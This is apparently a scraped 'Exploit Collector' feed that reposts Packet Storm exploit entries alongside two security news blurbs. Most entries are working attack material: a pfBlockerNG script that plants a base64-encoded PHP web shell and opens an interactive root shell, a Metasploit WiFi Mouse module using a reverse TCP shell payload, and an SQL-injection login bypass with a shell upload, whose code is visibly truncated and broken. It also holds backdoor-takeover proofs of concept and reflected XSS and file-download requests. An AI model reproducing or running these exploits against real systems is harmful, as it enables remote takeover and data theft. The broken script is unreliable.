Dark Reading: Attacks/Breaches
Samsung Fails Consumers in Preventable Back-to-Back Data Breaches, According to Federal Lawsuit

Company unnecessarily collected consumers' personal data and failed to safeguard it, suit alleges, leading to two back-to-back data breaches.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
How Quantum Physics Leads to Decrypting Common Algorithms

YouTuber minutephysics explains how Shor's algorithm builds on existing formulae like Euclid's algorithm and Fourier transforms to leverage quantum superpositioning and break encryption.

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
LivelyCart Pro 3 Cross Site Scripting

https://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png LivelyCart Pro version 3 suffers from a cross site scripting vulnerability.

SHA-256 | ef3470c3fee8e0e813c2945b5ef78e86a17766d13550ed989a8641bba9fb6852Download ┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││ C r a C k E r ┌┘
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘

┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ [ Exploits ] ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: Author : CraCkEr :
│ Website : pro-demo.livelycart.com │
│ Vendor : livelyworks - livelyworks.net │
│ Software : LivelyCart Pro 3 - Laravel E-Commerce Platform │
│ Vuln Type: Reflected XSS │
│ Method : GET │
│ Impact : Manipulate the content of the site │
│ │
│────────────────────────────────────────────────────────────────────────────────────────│
│ B4nks-NET irc.b4nks.tk #unix ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: :
│ Release Notes: │
│ ═════════════ │
│ The attacker can send to victim a link containing a malicious URL in an email or │
│ instant message can perform a wide variety of actions, such as stealing the victim's │
│ session token or login credentials │
│ │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL

CryptoJob (Twitter) twitter.com/CryptozJob

┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ © CraCkEr 2022 ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
GET parameter 'min_price' is vulnerable to XSS

https://pro-demo.livelycart.com/products?min_price=11[XSS]&max_price=999&sort_by=created_at&sort_order=asc&

GET parameter 'max_price' is vulnerable to XSS

https://pro-demo.livelycart.com/products?min_price=11&max_price=999[XSS]&sort_by=created_at&sort_order=asc&
Some XSS Payloads Reflected
ss29h">gub34

yljlw">onc87
[-] Done Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
pfBlockerNG 2.1.4_26 Shell Upload

https://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png
pfBlockerNG version 2.1.4_26 unauthenticated remote shell upload exploit.

SHA-256 | 1d7eee5bc1593b474c54a3d280da28d67551d6ae08d22fa5a7a679595e50b007

Download
#!/usr/bin/env python3
# Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/

import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = argparse.ArgumentParser(description="pfBlockerNG <=
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")
args = parser.parse_args()

url = args.url
shell_filename = "system_advanced_control.php"

def check_endpoint(url):
response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
if response.status_code == 200:
print("[+] pfBlockerNG is installed")
else:
print("\n[-] pfBlockerNG not installed")
sys.exit()

def upload_shell(url, shell_filename):
payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
print("[/] Uploading shell...")
response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
time.sleep(2)
response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
print("[+] Upload succeeded")
else:
print("\n[-] Error uploading shell. Probably patched ", response.content)
sys.exit()

def interactive_shell(url, shell_filename, cmd):
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)
print(str(response.text)+"\n")
def delete_shell(url, shell_filename):
delcmd = "rm /usr/local/www/system_advanced_control.php"
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)
print("\n[+] Shell deleted")

check_endpoint(url)
upload_shell(url, shell_filename)
try:
while True:
cmd = input("# ")
interactive_shell(url, shell_filename, cmd)
except:
delete_shell(url, shell_filename)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Psychward.b MVID-2022-0645 Hardcoded Credential

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png
Backdoor.Win32.Psychward.b malware suffers from a hardcoded credential vulnerability.

SHA-256 | 4a196172d709119bf5c9fd8264d2064a406a4232f965f914f828caf704ad4124

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/0b8cf90ab9820cb3fcb7f1d1b45e4e57.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP port 8888 and requires authentication. However, the password "4174" is weak and hardcoded in cleartext within the PE file.
Family: Psychward
Type: PE32
MD5: 0b8cf90ab9820cb3fcb7f1d1b45e4e57
Vuln ID: MVID-2022-0645
Disclosure: 09/25/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 8888
connected 09/12/22 20:44:12. version 0.2.1
pwd 4174
password accepted
dir
..
12520437.cpx 2,151
12520850.cpx 2,233
@AudioToastIcon.png 308
@EnrollmentToastIcon.png 330
@VpnToastIcon.png 404
@WirelessDisplayToast.png 691
aadauthhelper.dll 154,624
aadtb.dll 954,880
AboveLockAppHost.dll 252,928
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Veritas Backup Exec Agent Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WiFi Mouse 1.8.3.4 Remote Code Execution

https://3.bp.blogspot.com/-XNOhyhmygqg/WWlvTLzMLRI/AAAAAAAAINo/1vKZqL-UEc0yrpuP08mTX_Jxjx_k32PvQCLcBGAs/s1600/h41.png
The WiFi Mouse (Mouse Server) from Necta LLC contains an authentication bypass as the authentication is completely implemented entirely on the client side. By utilizing this vulnerability, is possible to open a program on the server (cmd.exe in our case) and type commands that will be executed as the user running WiFi Mouse (Mouse Server), resulting in remote code execution. Tested against versions 1.8.3.4 (current as of module writing) and 1.8.2.3.

SHA-256 | a1eb49c803eef32a7d3986d02c20457c3afa4cb25fe942b90918d6d5bcceb6e6

Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Exploit::Remote::Tcp
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wifi Mouse RCE',
'Description' => %q{
The WiFi Mouse (Mouse Server) from Necta LLC contains an auth bypass as the
authentication is completely implemented entirely on the client side. By utilizing
this vulnerability, is possible to open a program on the server
(cmd.exe in our case) and type commands that will be executed as the user running
WiFi Mouse (Mouse Server), resulting in remote code execution.

Tested against versions 1.8.3.4 (current as of module writing) and
1.8.2.3.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'REDHATAUGUST', # edb
'H4RK3NZ0' # edb, original discovery
],
'References' => [
[ 'EDB', '50972' ],
[ 'EDB', '49601' ],
[ 'CVE', '2022-3218' ],
[ 'URL', 'http://wifimouse.necta.us/' ],
[ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/wifi%20mouse/wifi-mouse-server-rce.py' ]
],
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'win',
'Targets' => [
[
'stager',
{
'CmdStagerFlavor' => ['psh_invokewebrequest', 'certutil']
}
],
],
'Payload' => {
'BadChars' => "\x0a\x00"
},
'DefaultOptions' => {
# since this may get typed out ON SCREEN we want as small a payload as possible
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'DisclosureDate' => '2021-02-25',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # typing on screen
}
)
)
register_options(
[
OptPort.new('RPORT', [true, 'Port WiFi Mouse Mouse Server runs on', 1978]),
OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),
OptInt.new('LINEMAX', [true, 'Maximum length of lines to send for stager method. Smaller for more unstable connections.', 1_020]),
]
)
end

def send_return
sock.put('key 3RTN') # what the mobile app sends
end

def send_command(command)
sock.put("utf8 #{command}\x0A")
sleep(datastore['SLEEP'])
send_return
end

def open_file(file)
file = "/#{file}".gsub('\\', '/').gsub(':', '')
sock.put("openfile #{file}\x0A")
end

def exploit
connect
print_status('Opening command prompt')
open_file('C:\\Windows\\System32\\cmd.exe')
sleep(datastore['SLEEP']) # give time for it to open

print_status('Typing out payload')
execute_cmdstager({ linemax: datastore['LINEMAX'], delay: datastore['SLEEP'] })

handler
end

def execute_command(cmd, _opts = {})
send_command(cmd)
end
end

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
osCommerce Shopping Cart 4 Cross Site Scripting

https://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png osCommerce Shopping Cart version 4 suffers from a cross site scripting vulnerability.

SHA-256 | fc69e57f711d661b929686f94b698df88ccb2c5f0d2030e7b4840f26fe62da93Download ┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││ C r a C k E r ┌┘
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘

┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ [ Exploits ] ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: Author : CraCkEr :
│ Website : oscommerce.com │
│ Vendor : osCommerce LTD │
│ Software : osCommerce Shopping Cart v4 - Reflected XSS │
│ Vuln Type: Reflected XSS │
│ Method : GET │
│ Impact : Manipulate the content of the site │
│ │
│────────────────────────────────────────────────────────────────────────────────────────│
│ B4nks-NET irc.b4nks.tk #unix ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: :
│ Release Notes: │
│ ═════════════ │
│ The attacker can send to victim a link containing a malicious URL in an email or │
│ instant message can perform a wide variety of actions, such as stealing the victim's │
│ session token or login credentials │
│ │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL

CryptoJob (Twitter) twitter.com/CryptozJob

┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ © CraCkEr 2022 ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
GET parameter 'keywords' is vulnerable to XSS

/catalog/all-products?keywords=[XSS]

https://demo.oscommerce.com/watch/catalog/all-products?keywords=d05zz%22%3E%3Cscript%3Ealert(1)%3C/script%3Eju3gw

https://demo.oscommerce.com/printshop/catalog/all-products?keywords=d05zz%22%3e%3cscript%3ealert(1)%3c%2fscript%3eju3gw

https://demo.oscommerce.com/furniture/catalog/all-products?keywords=d05zz%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3Eju3gw
[-] Done Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Bingle.b MVID-2022-0643 Hardcoded Credential

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Active eCommerce CMS 6.3.0 Arbitrary File Download

https://2.bp.blogspot.com/-uXp9StI5Rh0/WWlvYIMdqaI/AAAAAAAAIOg/mHe50EJovPcz8di_9Up4vC4YPRAZ9BUbwCLcBGAs/s1600/h55.png
Active eCommerce CMS version 6.3.0 suffers from an arbitrary file download vulnerability.

SHA-256 | 4036be9f28862cc4e0346638cd293b4cbcd82af4741e2fa269b30a31d2b7fd7c

Download
# Exploit Title: Active eCommerce CMS Arbitrary File Download
# Exploit Author: th3d1gger
# Vendor Homepage: https://codecanyon.net
# Software Link: https://codecanyon.net/item/active-ecommerce-cms/23471405
# Version: Version 6.3.0
# Tested on Ubuntu 18.04

without authentication with for loop user can download all files on the website with numeric ids.

/aiz-uploadder/download/{id}

<--vulnerable
public function attachment_download($id)
{
$project_attachment = Upload::find($id);
try{
$file_path = public_path($project_attachment->file_name);
return Response::download($file_path);
}catch(\Exception $e){
flash(translate('File does not exist!'))->error();
return back();
}

}

-------Request-----------
GET /aiz-uploader/download/3 HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
sec-ch-ua-platform: "Linux"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: allow=1; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6IlRwa1o2cDhxRGtqTUxKL2tLS0NiVGc9PSIsInZhbHVlIjoiajVqT2VOeTk5RmVXY20yaG44ekFQbTc4OFZ3K2EvbThhTFFVUjBzdVpZNmtDQVlocndZU1pEeWFlaURPWDl3V2JsZGFxeDYyR1NWRGoyVHRDYW9iVExUck12NTNjVHZ3VWF2eHNWN1dScXNRdW81ZUNPeldnZ2FRdHVxODlsWnI1cDhWOEcvQlZWSi83VEM5WTJNNC9CME5PWVVyU2dDNWhNcUlvSXU1UWlsQjF2eTYxdmQ2aW5EZHNkYVBQMUpObEN2aFp6Y0tvUkhrUkFac0ZveURZZ0NFMHlPWjRYYSs0eTNTR3VPVXZUMD0iLCJtYWMiOiJjYmU1ZWYxODJlZjYyNzAyODI5YjM4NWEzMDgyYWFkMzA2YmIzOWM3ODA3ZjgyNjMzZWRjMDc3MDkxNWEzZGQ3In0%3D; twk_idm_key=-J__vZrlSOiy2FYLE4Fsu; twk_uuid_5a7c31ded7591465c7077c48=%7B%22uuid%22%3A%221.AGEpC4jGGoH2T6v2QAlePuWJRFfI9oZIu0RUbaNluAgJJzDJQ1zFcS1Fv9uH7mP6PIgcXCE6JVCXLF7JZsX0kHOsQNihqwO81D79ESmlYkVwYf5UHnjWKkJkiJPYK7Dn%22%2C%22version%22%3A3%2C%22domain%22%3Anull%2C%22ts%22%3A1663797922828%7D; TawkConnectionTime=0; XSRF-TOKEN=CPX7GmsCyaC1NSvSVXt1Ukjv6BDMmcEFsFYijPYB; active_ecommerce_cms_session=zQGudzxBZLEDymY6TvM4yDEKrxTAQJ7FAVIAQEBU
Connection: close


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Diagnostic Lab Management System 1.0 SQL Injection / Shell Upload

https://3.bp.blogspot.com/-GFxdnkVY0Lw/WWlvniKY45I/AAAAAAAAIRU/77qCibw7l9gJ7HKa7eHBCfMI2N56gMPzwCLcBGAs/s1600/hack_img6.png
Online Diagnostic Lab Management System version 1.0 remote exploit that bypasses login with SQL injection and then uploads a shell.

SHA-256 | a9a666adc9b5791a812164167d20c4ced022f91eed35188667143b4e7b0ee94e

Download
# Exploit Title: Online Diagnostic Lab Management System - Remote Code Execution (RCE) (Unauthenticated)
# Google Dork: N/A
# Date: 2022-9-23
# Exploit Author: yousef alraddadi - https://twitter.com/y0usef_11
# Vendor Homepage: https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/diagnostic_0.zip
# Tested on: windows 11 - XAMPP
# CVE : N/A
# Version: 1.0
# Authentication Required: bypass login with sql injection

#/usr/bin/python3

import requests
import os
import sys
import time
import random

# clean screen
os.system("cls")
os.system("clear")

logo = '''
##################################################################
# #
# Exploit Script ( Online Diagnostic Lab Management System ) #
# #
##################################################################
'''
print(logo)

url = str(input("Enter website url : "))
username = ("' OR 1=1-- -")
password = ("test")

req = requests.Session()

target = url+"/diagnostic/login.php"
data = {'username':username,'password':password}

website = req.post(target,data=data)
files = open("rev.php","w")
payload = " "+url+"/diagnostic/assets/myimages/"+name_file)
print("[+] can exect command here => "+url+"/diagnostic/assets/myimages/"+name_file+"?cmd=whoami")
else:
print("[-] Check username or password")

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Sabai Discuss 1.4.13 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Forym 1.5.7 Cross Site Scripting

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
WordPress Forym plugin version 1.5.7 suffers from a cross site scripting vulnerability.

SHA-256 | 9098a88f216244d26aece5715f65327ef4cb3938af59970db2d4b6054763dadd

Download
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││ C r a C k E r ┌┘
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘

┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ [ Exploits ] ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: Author : CraCkEr :
│ Website : forym.xyz │
│ Vendor : codecanyon.net │
│ Software : Forym 1.5.7 - Modern Discussion Forum for Wordpress │
│ Vuln Type: Reflected XSS │
│ Method : GET │
│ Impact : Manipulate the content of the site │
│ │
│────────────────────────────────────────────────────────────────────────────────────────│
│ B4nks-NET irc.b4nks.tk #unix ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: :
│ Release Notes: │
│ ═════════════ │
│ The attacker can send to victim a link containing a malicious URL in an email or │
│ instant message can perform a wide variety of actions, such as stealing the victim's │
│ session token or login credentials │
│ │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL

CryptoJob (Twitter) twitter.com/CryptozJob

┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ © CraCkEr 2022 ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
GET parameter 's' is vulnerable to XSS

https://forym.xyz/?s=ax0zq%22%3e%3cscript%3ealert(1)%3c%2fscript%3efkdbh
[-] Done

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OpenStego Free Steganography Solution 0.8.5

https://3.bp.blogspot.com/-3DxkerR7uq4/WWlu9h9UGfI/AAAAAAAAIJw/dRDCcwrw3XEGYQWUo-AXJEEU7FQ8iTgpACLcBGAs/s1600/h115.png
OpenStego is a tool implemented in Java for generic steganography, with support for password-based encryption of the data. It supports plugins for various steganographic algorithms (currently, only Least Significant Bit algorithm is supported for images).

SHA-256 | 278d0934e1132a352cde6f89a86018ffc35037c9cfacf1ebdfdadf1508d5ad36

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WooCommerce BRW Booking Rental 1.3.1 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Augudor.b MVID-2022-0644 Code Execution

https://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png
Backdoor.Win32.Augudor.b malware suffers from a code execution vulnerability.

SHA-256 | eb63fba65d43437a287680fff71157dd2127d980055e141a70d67d2a9e75bbe9

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/94ccd337cbdd4efbbcc0a6c888abb87d.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Augudor.b
Vulnerability: Remote File Write Code Execution
Description: The malware drops an empty file named "zy.exe" and listens on TCP port 810. Third-party adversaries who can reach the infected host can write executable code to the empty "zy.exe" file on the system via a socket program and it will execute as soon as the binary transfer has completed. Successfully tested with a 880 byte executable.
Family: Augudor
Type: PE32
MD5: 94ccd337cbdd4efbbcc0a6c888abb87d
Vuln ID: MVID-2022-0644
Dropped files: zy.exe
Disclosure: 09/25/2022

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=810
DOOM="DOOM_SM.exe" #880 bytes

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Active eCommerce CMS 6.3.0 Cross Site Scripting

https://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png
Active eCommerce CMS version 6.3.0 suffers from a cross site scripting vulnerability.

SHA-256 | f51e5c579856d6d8fa09e372f8f6b12ff91605bb22a15f16b8caa488351dcb3f

Download
# Exploit Title: Active eCommerce CMS Cross Site Scripting
# Exploit Author: th3d1gger
# Vendor Homepage: https://codecanyon.net
# Software Link: https://codecanyon.net/item/active-ecommerce-cms/23471405
# Version: Version 6.3.0
# Tested on Ubuntu 18.04
-------Request-----------
POST /ajax-search HTTP/1.1
Host: localhost
Content-Length: 117
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
sec-ch-ua-platform: "Linux"
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: allow=1; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6IlRwa1o2cDhxRGtqTUxKL2tLS0NiVGc9PSIsInZhbHVlIjoiajVqT2VOeTk5RmVXY20yaG44ekFQbTc4OFZ3K2EvbThhTFFVUjBzdVpZNmtDQVlocndZU1pEeWFlaURPWDl3V2JsZGFxeDYyR1NWRGoyVHRDYW9iVExUck12NTNjVHZ3VWF2eHNWN1dScXNRdW81ZUNPeldnZ2FRdHVxODlsWnI1cDhWOEcvQlZWSi83VEM5WTJNNC9CME5PWVVyU2dDNWhNcUlvSXU1UWlsQjF2eTYxdmQ2aW5EZHNkYVBQMUpObEN2aFp6Y0tvUkhrUkFac0ZveURZZ0NFMHlPWjRYYSs0eTNTR3VPVXZUMD0iLCJtYWMiOiJjYmU1ZWYxODJlZjYyNzAyODI5YjM4NWEzMDgyYWFkMzA2YmIzOWM3ODA3ZjgyNjMzZWRjMDc3MDkxNWEzZGQ3In0%3D; twk_idm_key=-J__vZrlSOiy2FYLE4Fsu; twk_uuid_5a7c31ded7591465c7077c48=%7B%22uuid%22%3A%221.AGEpC4jGGoH2T6v2QAlePuWJRFfI9oZIu0RUbaNluAgJJzDJQ1zFcS1Fv9uH7mP6PIgcXCE6JVCXLF7JZsX0kHOsQNihqwO81D79ESmlYkVwYf5UHnjWKkJkiJPYK7Dn%22%2C%22version%22%3A3%2C%22domain%22%3Anull%2C%22ts%22%3A1663797922828%7D; TawkConnectionTime=0; XSRF-TOKEN=CPX7GmsCyaC1NSvSVXt1Ukjv6BDMmcEFsFYijPYB; active_ecommerce_cms_session=zQGudzxBZLEDymY6TvM4yDEKrxTAQJ7FAVIAQEBU
Connection: close

_token=CPX7GmsCyaC1NSvSVXt1Ukjv6BDMmcEFsFYijPYB&search=%3Cscript%3Ealert(%22oh+bought+the+happines%22)%3C%2Fscript%3E

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video